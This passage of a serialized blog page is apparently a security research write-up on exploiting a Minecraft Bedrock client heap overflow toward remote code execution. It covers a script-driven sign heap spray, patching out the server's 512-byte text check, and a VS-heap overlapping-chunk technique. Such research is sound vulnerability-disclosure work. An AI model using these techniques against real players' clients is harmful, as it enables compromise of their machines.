value":152195},{"type":24,"tag":158,"props":152715,"children":152716},{"style":188},[152717],{"type":29,"value":18465},{"type":24,"tag":158,"props":152719,"children":152720},{"style":177},[152721],{"type":29,"value":152186},{"type":24,"tag":158,"props":152723,"children":152724},{"style":222},[152725],{"type":29,"value":52541},{"type":24,"tag":158,"props":152727,"children":152728},{"style":188},[152729],{"type":29,"value":16038},{"type":24,"tag":158,"props":152731,"children":152732},{"class":160,"line":24856},[152733,152737,152741,152745,152749,152753,152757,152761,152765,152769,152773,152777,152781,152785],{"type":24,"tag":158,"props":152734,"children":152735},{"style":1914},[152736],{"type":29,"value":61850},{"type":24,"tag":158,"props":152738,"children":152739},{"style":188},[152740],{"type":29,"value":2262},{"type":24,"tag":158,"props":152742,"children":152743},{"style":165},[152744],{"type":29,"value":2662},{"type":24,"tag":158,"props":152746,"children":152747},{"style":177},[152748],{"type":29,"value":152231},{"type":24,"tag":158,"props":152750,"children":152751},{"style":222},[152752],{"type":29,"value":462},{"type":24,"tag":158,"props":152754,"children":152755},{"style":465},[152756],{"type":29,"value":2025},{"type":24,"tag":158,"props":152758,"children":152759},{"style":188},[152760],{"type":29,"value":18465},{"type":24,"tag":158,"props":152762,"children":152763},{"style":177},[152764],{"type":29,"value":152248},{"type":24,"tag":158,"props":152766,"children":152767},{"style":222},[152768],{"type":29,"value":2116},{"type":24,"tag":158,"props":152770,"children":152771},{"style":177},[152772],{"type":29,"value":152257},{"type":24,"tag":158,"props":152774,"children":152775},{"style":188},[152776],{"type":29,"value":18465},{"type":24,"tag":158,"props":152778,"children":152779},{"style":177},[152780],{"type":29,"value":152248},{"type":24,"tag":158,"props":152782,"children":152783},{"style":222},[152784],{"type":29,"value":52541},{"type":24,"tag":158,"props":152786,"children":152787},{"style":188},[152788],{"type":29,"value":16038},{"type":24,"tag":158,"props":152790,"children":152791},{"class":160,"line":24889},[152792],{"type":24,"tag":158,"props":152793,"children":152794},{"style":188},[152795],{"type":29,"value":152304},{"type":24,"tag":158,"props":152797,"children":152798},{"class":160,"line":24897},[152799,152803,152807],{"type":24,"tag":158,"props":152800,"children":152801},{"style":188},[152802],{"type":29,"value":152288},{"type":24,"tag":158,"props":152804,"children":152805},{"style":222},[152806],{"type":29,"value":377},{"type":24,"tag":158,"props":152808,"children":152809},{"style":188},[152810],{"type":29,"value":2647},{"type":24,"tag":158,"props":152812,"children":152813},{"class":160,"line":24905},[152814],{"type":24,"tag":158,"props":152815,"children":152816},{"style":188},[152817],{"type":29,"value":152818}," \n",{"type":24,"tag":158,"props":152820,"children":152821},{"class":160,"line":24914},[152822,152826,152830,152834,152838,152843],{"type":24,"tag":158,"props":152823,"children":152824},{"style":165},[152825],{"type":29,"value":152312},{"type":24,"tag":158,"props":152827,"children":152828},{"style":177},[152829],{"type":29,"value":152317},{"type":24,"tag":158,"props":152831,"children":152832},{"style":222},[152833],{"type":29,"value":462},{"type":24,"tag":158,"props":152835,"children":152836},{"style":1914},[152837],{"type":29,"value":37475},{"type":24,"tag":158,"props":152839,"children":152840},{"style":496},[152841],{"type":29,"value":152842}," wait_for_block",{"type":24,"tag":158,"props":152844,"children":152845},{"style":188},[152846],{"type":29,"value":2156},{"type":24,"tag":158,"props":152848,"children":152849},{"class":160,"line":24990},[152850,152855,152859,152863,152867,152871],{"type":24,"tag":158,"props":152851,"children":152852},{"style":177},[152853],{"type":29,"value":152854}," world",{"type":24,"tag":158,"props":152856,"children":152857},{"style":188},[152858],{"type":29,"value":347},{"type":24,"tag":158,"props":152860,"children":152861},{"style":496},[152862],{"type":29,"value":152339},{"type":24,"tag":158,"props":152864,"children":152865},{"style":188},[152866],{"type":29,"value":504},{"type":24,"tag":158,"props":152868,"children":152869},{"style":1108},[152870],{"type":29,"value":152348},{"type":24,"tag":158,"props":152872,"children":152873},{"style":188},[152874],{"type":29,"value":8382},{"type":24,"tag":158,"props":152876,"children":152877},{"class":160,"line":25023},[152878],{"type":24,"tag":158,"props":152879,"children":152880},{"style":177},[152881],{"type":29,"value":152882}," sign_location\n",{"type":24,"tag":158,"props":152884,"children":152885},{"class":160,"line":25031},[152886],{"type":24,"tag":158,"props":152887,"children":152888},{"style":188},[152889],{"type":29,"value":126392},{"type":24,"tag":158,"props":152891,"children":152892},{"class":160,"line":25039},[152893,152897,152901,152905],{"type":24,"tag":158,"props":152894,"children":152895},{"style":177},[152896],{"type":29,"value":152385},{"type":24,"tag":158,"props":152898,"children":152899},{"style":188},[152900],{"type":29,"value":347},{"type":24,"tag":158,"props":152902,"children":152903},{"style":496},[152904],{"type":29,"value":151992},{"type":24,"tag":158,"props":152906,"children":152907},{"style":188},[152908],{"type":29,"value":2156},{"type":24,"tag":158,"props":152910,"children":152911},{"class":160,"line":25076},[152912,152916,152920,152924,152928,152932],{"type":24,"tag":158,"props":152913,"children":152914},{"style":177},[152915],{"type":29,"value":152405},{"type":24,"tag":158,"props":152917,"children":152918},{"style":188},[152919],{"type":29,"value":347},{"type":24,"tag":158,"props":152921,"children":152922},{"style":496},[152923],{"type":29,"value":152013},{"type":24,"tag":158,"props":152925,"children":152926},{"style":188},[152927],{"type":29,"value":504},{"type":24,"tag":158,"props":152929,"children":152930},{"style":1108},[152931],{"type":29,"value":152022},{"type":24,"tag":158,"props":152933,"children":152934},{"style":188},[152935],{"type":29,"value":2125},{"type":24,"tag":158,"props":152937,"children":152938},{"class":160,"line":25089},[152939],{"type":24,"tag":158,"props":152940,"children":152941},{"style":188},[152942],{"type":29,"value":126392},{"type":24,"tag":158,"props":152944,"children":152945},{"class":160,"line":25102},[152946],{"type":24,"tag":158,"props":152947,"children":152948},{"emptyLinePlaceholder":16},[152949],{"type":29,"value":481},{"type":24,"tag":158,"props":152951,"children":152952},{"class":160,"line":25115},[152953,152957,152961],{"type":24,"tag":158,"props":152954,"children":152955},{"style":188},[152956],{"type":29,"value":152288},{"type":24,"tag":158,"props":152958,"children":152959},{"style":222},[152960],{"type":29,"value":377},{"type":24,"tag":158,"props":152962,"children":152963},{"style":188},[152964],{"type":29,"value":2647},{"type":24,"tag":158,"props":152966,"children":152967},{"class":160,"line":25169},[152968],{"type":24,"tag":158,"props":152969,"children":152970},{"style":188},[152971],{"type":29,"value":5010},{"type":24,"tag":158,"props":152973,"children":152974},{"class":160,"line":25178},[152975],{"type":24,"tag":158,"props":152976,"children":152977},{"style":188},[152978],{"type":29,"value":3967},{"type":24,"tag":158,"props":152980,"children":152981},{"class":160,"line":33542},[152982],{"type":24,"tag":158,"props":152983,"children":152984},{"style":188},[152985],{"type":29,"value":307},{"type":24,"tag":158,"props":152987,"children":152988},{"class":160,"line":33563},[152989],{"type":24,"tag":158,"props":152990,"children":152991},{"emptyLinePlaceholder":16},[152992],{"type":29,"value":481},{"type":24,"tag":158,"props":152994,"children":152995},{"class":160,"line":82229},[152996,153001,153005,153010,153014,153019,153023,153028,153032,153037,153041,153045],{"type":24,"tag":158,"props":152997,"children":152998},{"style":177},[152999],{"type":29,"value":153000},"world",{"type":24,"tag":158,"props":153002,"children":153003},{"style":188},[153004],{"type":29,"value":347},{"type":24,"tag":158,"props":153006,"children":153007},{"style":177},[153008],{"type":29,"value":153009},"afterEvents",{"type":24,"tag":158,"props":153011,"children":153012},{"style":188},[153013],{"type":29,"value":347},{"type":24,"tag":158,"props":153015,"children":153016},{"style":177},[153017],{"type":29,"value":153018},"playerSpawn",{"type":24,"tag":158,"props":153020,"children":153021},{"style":188},[153022],{"type":29,"value":347},{"type":24,"tag":158,"props":153024,"children":153025},{"style":496},[153026],{"type":29,"value":153027},"subscribe",{"type":24,"tag":158,"props":153029,"children":153030},{"style":188},[153031],{"type":29,"value":32784},{"type":24,"tag":158,"props":153033,"children":153034},{"style":177},[153035],{"type":29,"value":153036},"arg",{"type":24,"tag":158,"props":153038,"children":153039},{"style":188},[153040],{"type":29,"value":723},{"type":24,"tag":158,"props":153042,"children":153043},{"style":165},[153044],{"type":29,"value":16056},{"type":24,"tag":158,"props":153046,"children":153047},{"style":188},[153048],{"type":29,"value":210},{"type":24,"tag":158,"props":153050,"children":153051},{"class":160,"line":82242},[153052,153057],{"type":24,"tag":158,"props":153053,"children":153054},{"style":496},[153055],{"type":29,"value":153056}," create_wall",{"type":24,"tag":158,"props":153058,"children":153059},{"style":188},[153060],{"type":29,"value":5329},{"type":24,"tag":158,"props":153062,"children":153063},{"class":160,"line":82250},[153064],{"type":24,"tag":158,"props":153065,"children":153066},{"style":188},[153067],{"type":29,"value":36601},{"type":24,"tag":158,"props":153069,"children":153070},{"class":160,"line":82258},[153071],{"type":24,"tag":158,"props":153072,"children":153073},{"emptyLinePlaceholder":16},[153074],{"type":29,"value":481},{"type":24,"tag":158,"props":153076,"children":153077},{"class":160,"line":82266},[153078,153082,153086,153091,153095,153100,153104,153108,153112,153116,153120,153124,153128,153132],{"type":24,"tag":158,"props":153079,"children":153080},{"style":177},[153081],{"type":29,"value":153000},{"type":24,"tag":158,"props":153083,"children":153084},{"style":188},[153085],{"type":29,"value":347},{"type":24,"tag":158,"props":153087,"children":153088},{"style":177},[153089],{"type":29,"value":153090},"beforeEvents",{"type":24,"tag":158,"props":153092,"children":153093},{"style":188},[153094],{"type":29,"value":347},{"type":24,"tag":158,"props":153096,"children":153097},{"style":177},[153098],{"type":29,"value":153099},"playerLeave",{"type":24,"tag":158,"props":153101,"children":153102},{"style":188},[153103],{"type":29,"value":347},{"type":24,"tag":158,"props":153105,"children":153106},{"style":496},[153107],{"type":29,"value":153027},{"type":24,"tag":158,"props":153109,"children":153110},{"style":188},[153111],{"type":29,"value":504},{"type":24,"tag":158,"props":153113,"children":153114},{"style":165},[153115],{"type":29,"value":37409},{"type":24,"tag":158,"props":153117,"children":153118},{"style":188},[153119],{"type":29,"value":2262},{"type":24,"tag":158,"props":153121,"children":153122},{"style":177},[153123],{"type":29,"value":153036},{"type":24,"tag":158,"props":153125,"children":153126},{"style":188},[153127],{"type":29,"value":723},{"type":24,"tag":158,"props":153129,"children":153130},{"style":165},[153131],{"type":29,"value":16056},{"type":24,"tag":158,"props":153133,"children":153134},{"style":188},[153135],{"type":29,"value":210},{"type":24,"tag":158,"props":153137,"children":153138},{"class":160,"line":82306},[153139,153144],{"type":24,"tag":158,"props":153140,"children":153141},{"style":496},[153142],{"type":29,"value":153143}," remove_wall",{"type":24,"tag":158,"props":153145,"children":153146},{"style":188},[153147],{"type":29,"value":5329},{"type":24,"tag":158,"props":153149,"children":153150},{"class":160,"line":82314},[153151],{"type":24,"tag":158,"props":153152,"children":153153},{"style":188},[153154],{"type":29,"value":36601},{"type":24,"tag":25,"props":153156,"children":153157},{},[153158],{"type":29,"value":153159},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":153161,"children":153162},{},[153163],{"type":24,"tag":84,"props":153164,"children":153167},{"alt":153165,"src":153166},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":153169,"children":153170},{},[153171],{"type":29,"value":153172},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":20134,"props":153174,"children":153176},{"id":153175},"a-small-roadblock",[153177],{"type":29,"value":153178},"A Small Roadblock",{"type":24,"tag":25,"props":153180,"children":153181},{},[153182],{"type":29,"value":153183},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":147,"props":153185,"children":153187},{"code":153186},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[153188],{"type":24,"tag":154,"props":153189,"children":153190},{"__ignoreMap":7},[153191],{"type":29,"value":153186},{"type":24,"tag":25,"props":153193,"children":153194},{},[153195,153197,153203],{"type":29,"value":153196},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":154,"props":153198,"children":153200},{"className":153199},[],[153201],{"type":29,"value":153202},"512",{"type":29,"value":153204}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":153206,"children":153207},{},[153208],{"type":29,"value":153209},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":153211,"children":153212},{},[153213],{"type":29,"value":153214},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":153216,"children":153217},{},[153218],{"type":24,"tag":84,"props":153219,"children":153221},{"alt":51850,"src":153220},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":153223,"children":153224},{},[153225,153227,153233],{"type":29,"value":153226},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":154,"props":153228,"children":153230},{"className":153229},[],[153231],{"type":29,"value":153232},"string_length \u003C= 512",{"type":29,"value":153234}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":153236,"children":153237},{},[153238],{"type":29,"value":153239},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":153241,"children":153242},{},[153243],{"type":24,"tag":84,"props":153244,"children":153246},{"alt":51850,"src":153245},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":153248,"children":153249},{},[153250,153252,153257,153259,153264,153265,153270,153272,153278,153280,153286,153288,153293,153295,153300],{"type":29,"value":153251},"The code compares ",{"type":24,"tag":154,"props":153253,"children":153255},{"className":153254},[],[153256],{"type":29,"value":58047},{"type":29,"value":153258}," (the string length) to ",{"type":24,"tag":154,"props":153260,"children":153262},{"className":153261},[],[153263],{"type":29,"value":129092},{"type":29,"value":2262},{"type":24,"tag":154,"props":153266,"children":153268},{"className":153267},[],[153269],{"type":29,"value":153202},{"type":29,"value":153271}," decimal). It then performs a ",{"type":24,"tag":154,"props":153273,"children":153275},{"className":153274},[],[153276],{"type":29,"value":153277},"jbe",{"type":29,"value":153279},", jumping to address ",{"type":24,"tag":154,"props":153281,"children":153283},{"className":153282},[],[153284],{"type":29,"value":153285},"0x14275114c",{"type":29,"value":153287}," if ",{"type":24,"tag":154,"props":153289,"children":153291},{"className":153290},[],[153292],{"type":29,"value":58047},{"type":29,"value":153294}," is less than or equal to ",{"type":24,"tag":154,"props":153296,"children":153298},{"className":153297},[],[153299],{"type":29,"value":153202},{"type":29,"value":153301},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":153303,"children":153304},{},[153305,153307,153312,153314,153320],{"type":29,"value":153306},"To force execution down this path, we patched the ",{"type":24,"tag":154,"props":153308,"children":153310},{"className":153309},[],[153311],{"type":29,"value":153277},{"type":29,"value":153313}," instruction to an unconditional ",{"type":24,"tag":154,"props":153315,"children":153317},{"className":153316},[],[153318],{"type":29,"value":153319},"jmp",{"type":29,"value":153321},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":153323,"children":153324},{},[153325],{"type":24,"tag":84,"props":153326,"children":153328},{"alt":51850,"src":153327},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":153330,"children":153331},{},[153332,153334,153339,153341,153346],{"type":29,"value":153333},"After patching the server and calling ",{"type":24,"tag":154,"props":153335,"children":153337},{"className":153336},[],[153338],{"type":29,"value":151443},{"type":29,"value":153340}," with a size of ",{"type":24,"tag":154,"props":153342,"children":153344},{"className":153343},[],[153345],{"type":29,"value":59421},{"type":29,"value":153347},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":153349,"children":153350},{},[153351],{"type":24,"tag":84,"props":153352,"children":153354},{"alt":51850,"src":153353},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":20034,"props":153356,"children":153357},{},[],{"type":24,"tag":25,"props":153359,"children":153360},{},[153361],{"type":29,"value":153362},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":153364,"children":153365},{},[153366],{"type":29,"value":153367},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":395,"props":153369,"children":153371},{"id":153370},"overlapping-heap-chunks",[153372],{"type":29,"value":153373},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":153375,"children":153376},{},[153377,153379,153384],{"type":29,"value":153378},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":101,"props":153380,"children":153382},{"href":151187,"rel":153381},[105],[153383],{"type":29,"value":48855},{"type":29,"value":153385},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":153387,"children":153388},{},[153389,153391,153397],{"type":29,"value":153390},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":154,"props":153392,"children":153394},{"className":153393},[],[153395],{"type":29,"value":153396},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":153398}," structure layout is required:",{"type":24,"tag":147,"props":153400,"children":153402},{"code":153401}," +---------------------------+ +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost |\n +---------------------------+ +---------------+\n+0x8 |EncodedSegmentPageOffset | +0x2 |UnsafeSize |\n +---------------------------+ +---------------+\n+0x8 |UnusedBytes | +0x4 |UnsafePrevSize |\n +---------------------------+ +---------------+\n | . . . | +0x6 |Allocated |\n +---------------+\n | . . . |\n",[153403],{"type":24,"tag":154,"props":153404,"children":153405},{"__ignoreMap":7},[153406],{"type":29,"value":153401},{"type":24,"tag":25,"props":153408,"children":153409},{},[153410,153412,153418,153420,153426,153427,153433,153434,153440,153442,153447,153449,153454,153456,153462,153464,153469,153471,153477],{"type":29,"value":153411},"At offset 0 there is a header ",{"type":24,"tag":154,"props":153413,"children":153415},{"className":153414},[],[153416],{"type":29,"value":153417},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":153419}," containing fields such as ",{"type":24,"tag":154,"props":153421,"children":153423},{"className":153422},[],[153424],{"type":29,"value":153425},"MemoryCost",{"type":29,"value":191},{"type":24,"tag":154,"props":153428,"children":153430},{"className":153429},[],[153431],{"type":29,"value":153432},"UnsafeSize",{"type":29,"value":191},{"type":24,"tag":154,"props":153435,"children":153437},{"className":153436},[],[153438],{"type":29,"value":153439},"UnsafePrevSize",{"type":29,"value":153441},", etc. For the attack we only care about the ",{"type":24,"tag":154,"props":153443,"children":153445},{"className":153444},[],[153446],{"type":29,"value":153432},{"type":29,"value":153448}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":154,"props":153450,"children":153452},{"className":153451},[],[153453],{"type":29,"value":127715},{"type":29,"value":153455},", so for a chunk of size ",{"type":24,"tag":154,"props":153457,"children":153459},{"className":153458},[],[153460],{"type":29,"value":153461},"0x4010",{"type":29,"value":153463}," the value of ",{"type":24,"tag":154,"props":153465,"children":153467},{"className":153466},[],[153468],{"type":29,"value":153432},{"type":29,"value":153470}," would be ",{"type":24,"tag":154,"props":153472,"children":153474},{"className":153473},[],[153475],{"type":29,"value":153476},"0x401",{"type":29,"value":347},{"type":24,"tag":25,"props":153479,"children":153480},{},[153481,153482,153487],{"type":29,"value":65491},{"type":24,"tag":154,"props":153483,"children":153485},{"className":153484},[],[153486],{"type":29,"value":153432},{"type":29,"value":153488}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":153490,"children":153491},{},[153492,153494,153499,153501,153506,153508,153514,153516,153521],{"type":29,"value":153493},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":154,"props":153495,"children":153497},{"className":153496},[],[153498],{"type":29,"value":153432},{"type":29,"value":153500}," in the smallest possible VS chunk (",{"type":24,"tag":154,"props":153502,"children":153504},{"className":153503},[],[153505],{"type":29,"value":153461},{"type":29,"value":153507},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":154,"props":153509,"children":153511},{"className":153510},[],[153512],{"type":29,"value":153513},"[0x10, 0xffff0]",{"type":29,"value":153515}," range, the probability that it exceeds ",{"type":24,"tag":154,"props":153517,"children":153519},{"className":153518},[],[153520],{"type":29,"value":153461},{"type":29,"value":153522}," is:",{"type":24,"tag":147,"props":153524,"children":153526},{"code":153525},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[153527],{"type":24,"tag":154,"props":153528,"children":153529},{"__ignoreMap":7},[153530],{"type":29,"value":153525},{"type":24,"tag":25,"props":153532,"children":153533},{},[153534],{"type":29,"value":153535},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":153537,"children":153538},{},[153539],{"type":29,"value":153540},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":20134,"props":153542,"children":153544},{"id":153543},"overlap-attack-overview",[153545],{"type":29,"value":153546},"Overlap Attack Overview",{"type":24,"tag":25,"props":153548,"children":153549},{},[153550,153552,153557],{"type":29,"value":153551},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":154,"props":153553,"children":153555},{"className":153554},[],[153556],{"type":29,"value":127738},{"type":29,"value":153558}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":153560,"children":153561},{},[153562,153564,153569,153571,153576],{"type":29,"value":153563},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":154,"props":153565,"children":153567},{"className":153566},[],[153568],{"type":29,"value":149446},{"type":29,"value":153570},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":154,"props":153572,"children":153574},{"className":153573},[],[153575],{"type":29,"value":149446},{"type":29,"value":153577},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":153579,"children":153580},{},[153581,153583,153588],{"type":29,"value":153582},"To remove those ",{"type":24,"tag":154,"props":153584,"children":153586},{"className":153585},[],[153587],{"type":29,"value":149446},{"type":29,"value":153589},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":153591,"children":153592},{},[153593],{"type":29,"value":153594},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":147,"props":153596,"children":153598},{"code":153597},"+--------+--------+--------+--------+--------+\n| | | | | |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n| | | | | |\n+--------+--------+--------+--------+--------+\n",[153599],{"type":24,"tag":154,"props":153600,"children":153601},{"__ignoreMap":7},[153602],{"type":29,"value":153597},{"type":24,"tag":25,"props":153604,"children":153605},{},[153606,153608,153613,153615,153620],{"type":29,"value":153607},"Next we create ",{"type":24,"tag":32,"props":153609,"children":153610},{},[153611],{"type":29,"value":153612},"holes",{"type":29,"value":153614}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":154,"props":153616,"children":153618},{"className":153617},[],[153619],{"type":29,"value":149446},{"type":29,"value":153621},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":147,"props":153623,"children":153625},{"code":153624}," Free Free \n+--------+--------+--------+--------+--------+\n| |........| |........| |\n| Sign A |........| Sign C |........| Sign F |\n| |........| |........| |\n+--------+--------+--------+--------+--------+\n",[153626],{"type":24,"tag":154,"props":153627,"children":153628},{"__ignoreMap":7},[153629],{"type":29,"value":153624},{"type":24,"tag":25,"props":153631,"children":153632},{},[153633,153635,153640,153642,153647],{"type":29,"value":153634},"When a ",{"type":24,"tag":154,"props":153636,"children":153638},{"className":153637},[],[153639],{"type":29,"value":149446},{"type":29,"value":153641}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":154,"props":153643,"children":153645},{"className":153644},[],[153646],{"type":29,"value":153432},{"type":29,"value":153648}," field will be overwritten:",{"type":24,"tag":147,"props":153650,"children":153652},{"code":153651}," +--------+ \n Free | | \n+--------+--------+--------+ g->out +--------+\n| |........| | | |\n| Sign A |........| Sign C +--------+ Sign F |\n| |........| | | |\n+--------+--------+--------+ +--------+\n",[153653],{"type":24,"tag":154,"props":153654,"children":153655},{"__ignoreMap":7},[153656],{"type":29,"value":153651},{"type":24,"tag":25,"props":153658,"children":153659},{},[153660,153662,153667,153669,153674,153676,153681],{"type":29,"value":153661},"Once ",{"type":24,"tag":154,"props":153663,"children":153665},{"className":153664},[],[153666],{"type":29,"value":153432},{"type":29,"value":153668}," has been overwritten, ",{"type":24,"tag":154,"props":153670,"children":153672},{"className":153671},[],[153673],{"type":29,"value":149446},{"type":29,"value":153675}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":154,"props":153677,"children":153679},{"className":153678},[],[153680],{"type":29,"value":153432},{"type":29,"value":153682}," field corrupted:",{"type":24,"tag":147,"props":153684,"children":153686},{"code":153685}," UnsafeSize Overwritten\n ^ \n | \n Free Free | \n+--------+--------+--------+--------+---+----+ \n| |........| |........| | \n| Sign A |........| Sign C |........| Sign F | \n| |........| |........| | \n+--------+--------+--------+--------+--------+ \n",[153687],{"type":24,"tag":154,"props":153688,"children":153689},{"__ignoreMap":7},[153690],{"type":29,"value":153685},{"type":24,"tag":25,"props":153692,"children":153693},{},[153694],{"type":29,"value":153695},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":147,"props":153697,"children":153699},{"code":153698}," UnsafeSize Overwritten\n ^ \n | \n | \n+--------+--------+--------+--------+---+----+ \n| | | | | | \n| Sign A | Sign B | Sign C | Sign D | Sign F | \n| | | | | | \n+--------+--------+--------+--------+--------+ \n",[153700],{"type":24,"tag":154,"props":153701,"children":153702},{"__ignoreMap":7},[153703],{"type":29,"value":153698},{"type":24,"tag":25,"props":153705,"children":153706},{},[153707],{"type":29,"value":153708},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":147,"props":153710,"children":153712},{"code":153711}," Freed Overwritten \n | \n +----------+----------+\n | |\n Free Free v v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........| |........| |........| \n|........| Sign B |........| Sign D |........| Other chunks\n|........| |........| |........| \n+--------+--------+--------+--------+--------+- - - - - - -\n",[153713],{"type":24,"tag":154,"props":153714,"children":153715},{"__ignoreMap":7},[153716],{"type":29,"value":153711},{"type":24,"tag":20034,"props":153718,"children":153719},{},[],{"type":24,"tag":25,"props":153721,"children":153722},{},[153723],{"type":29,"value":153724},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":153726,"children":153727},{},[153728],{"type":29,"value":153729},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":395,"props":153731,"children":153733},{"id":153732},"molang",[153734],{"type":29,"value":153735},"Molang",{"type":24,"tag":25,"props":153737,"children":153738},{},[153739,153741,153748],{"type":29,"value":153740},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":101,"props":153742,"children":153745},{"href":153743,"rel":153744},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[105],[153746],{"type":29,"value":153747},"syntax guide",{"type":29,"value":347},{"type":24,"tag":25,"props":153750,"children":153751},{},[153752,153754,153759,153760,153765],{"type":29,"value":153753},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":154,"props":153755,"children":153757},{"className":153756},[],[153758],{"type":29,"value":1034},{"type":29,"value":1826},{"type":24,"tag":154,"props":153761,"children":153763},{"className":153762},[],[153764],{"type":29,"value":16924},{"type":29,"value":153766}," operators are supported.",{"type":24,"tag":25,"props":153768,"children":153769},{},[153770,153772,153778,153780,153785,153787,153792,153793,153798,153799],{"type":29,"value":153771},"Variables are defined by prepending ",{"type":24,"tag":154,"props":153773,"children":153775},{"className":153774},[],[153776],{"type":29,"value":153777},"variable.",{"type":29,"value":153779}," to the name and assigning a value. For example, to define ",{"type":24,"tag":154,"props":153781,"children":153783},{"className":153782},[],[153784],{"type":29,"value":1025},{"type":29,"value":153786}," as the sum of ",{"type":24,"tag":154,"props":153788,"children":153790},{"className":153789},[],[153791],{"type":29,"value":101},{"type":29,"value":1826},{"type":24,"tag":154,"props":153794,"children":153796},{"className":153795},[],[153797],{"type":29,"value":741},{"type":29,"value":16566},{"type":24,"tag":154,"props":153800,"children":153802},{"className":153801},[],[153803],{"type":29,"value":153804},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":153806,"children":153807},{},[153808,153810,153815,153816,153821,153822,153827,153828,153833],{"type":29,"value":153809},"Logical operators such as 